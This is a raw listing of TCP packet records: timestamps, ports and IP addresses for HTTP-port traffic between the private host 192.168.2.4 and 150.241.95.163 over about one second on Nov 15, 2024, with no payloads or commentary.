Nov 15, 2024 10:28:16.771579981 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.771615028 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.771629095 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.782083988 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.782156944 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.782166958 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.782202959 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.782239914 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.782252073 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.782373905 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.782403946 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.782421112 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.822762966 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.822788954 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.822973013 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.864331007 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.868053913 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.868103981 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.868140936 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.868164062 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.868175030 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.868213892 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.868221045 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.874315977 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.874373913 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.874380112 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.874409914 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.874455929 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.874495983 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.874526024 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.874561071 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.874568939 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.874629021 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.874675989 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.874680996 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.874716997 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.874749899 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.874757051 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.879940987 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.879976034 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.880002022 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.880009890 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.880060911 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.894460917 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.894495010 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.894530058 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.894632101 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.894845963 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.894927025 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.894961119 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.895016909 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.895016909 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.905204058 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.905256987 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.905289888 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.905323029 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.905323982 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.905359983 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.905391932 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.905531883 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.905531883 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.945821047 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.945915937 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.945949078 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.945983887 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.946017981 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.946067095 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.989654064 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.989700079 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.989756107 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.989785910 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.989794970 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.989835024 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.990998030 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.991034985 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.991072893 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.991086960 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.997384071 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.997420073 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.997443914 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.997453928 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.997503996 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.997533083 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.997566938 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.997615099 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.997620106 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.997656107 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.997704029 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:16.998183966 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.998235941 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:16.998290062 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.003153086 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.003190994 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.003225088 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.003245115 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.017411947 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.017447948 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.017479897 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.017488956 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.017533064 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.017920017 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.017954111 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.017987013 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.018002987 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.028500080 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.028553963 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.028590918 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.028624058 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.028659105 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.028676033 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.028850079 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.069166899 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.069221020 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.069262028 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.069305897 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.112862110 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.112904072 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.112941980 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.112977028 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.113162994 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.114058018 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.114110947 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.114134073 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.114187002 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.114216089 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.114243984 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.120932102 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.120984077 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.120987892 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.121021032 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.121054888 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.121072054 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.121092081 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.121141911 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.121318102 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.121351957 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.121387959 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.121397018 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.126487017 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.126523018 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.126547098 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.126559019 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.126595974 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.126610994 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.126796007 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.126825094 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.126841068 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.140722990 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.140790939 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.140825033 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.140875101 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.141100883 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.141140938 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.141155958 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.141190052 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.141202927 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.151778936 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.151833057 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.151834011 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.151869059 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.151904106 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.151920080 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.151938915 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.151993036 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.192534924 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.192584038 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.192744970 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.236068010 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.236143112 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.236181021 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.236299038 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.237400055 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.237452984 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.237464905 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.237490892 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.237525940 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.237540007 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.237647057 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.237677097 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.237699032 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.244124889 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.244184017 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.244190931 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.244235992 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.244275093 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.244291067 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.244309902 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.244357109 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.244486094 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.244541883 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.244576931 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.244590998 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.249684095 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.249721050 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.249742985 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.249756098 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.249800920 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.264040947 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.264082909 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.264134884 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.264137983 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.264175892 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.264209986 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.264219046 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.264245987 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.264287949 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.264719963 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.264774084 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.264808893 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.264820099 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.274929047 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.274983883 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.275006056 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.275018930 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.275053024 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.275064945 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.275088072 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.275137901 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.358758926 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.358814001 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.358853102 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.358983040 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.358984947 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.359040976 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.359041929 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.359076977 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.359121084 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.359164953 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.360589027 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.360644102 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.360683918 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.360719919 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.360898018 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.360898018 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.367455959 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.367495060 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.367513895 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.367528915 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.367579937 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.367614985 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.367650986 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.367685080 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.367692947 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.367692947 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.367729902 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.368177891 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.368310928 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.368359089 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.372970104 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.373003960 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.373037100 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.373059034 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.387362957 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.387417078 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.387433052 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.387450933 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.387485027 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.387518883 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.387619019 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.387619019 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.387820005 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.387873888 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.387908936 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.387921095 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.388196945 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.388230085 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.388252020 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.388263941 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.388305902 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.398098946 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.398138046 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.398171902 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.398200989 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.398411036 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.398444891 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.398462057 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.398483038 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.398525000 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.481755018 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.481792927 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.481827021 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.481862068 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.482235909 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.482286930 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.482292891 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.482327938 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.482372046 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.483829021 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.483863115 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.483896017 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.483915091 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.490642071 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.490686893 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.490716934 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.490722895 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.490770102 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.491180897 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.491235018 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.491269112 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.491285086 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.491301060 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.491349936 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.491357088 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.496109009 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.496144056 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.496176004 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.496179104 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.496227980 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.510690928 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.510750055 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.510799885 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.510807991 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.510835886 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.510870934 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.510881901 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.511087894 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.511137009 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.511286974 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.511353970 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.511388063 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.511399031 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.511420965 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.511456966 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.511465073 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.512155056 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.512217045 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.521258116 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.521313906 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.521363020 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.521428108 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.521481037 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.521513939 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.521526098 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.567418098 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.605232000 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.605278969 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.605314970 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.605334044 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:17.605349064 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:17.605381966 CET	80	49736	150.241.95.163	192.168.2.4
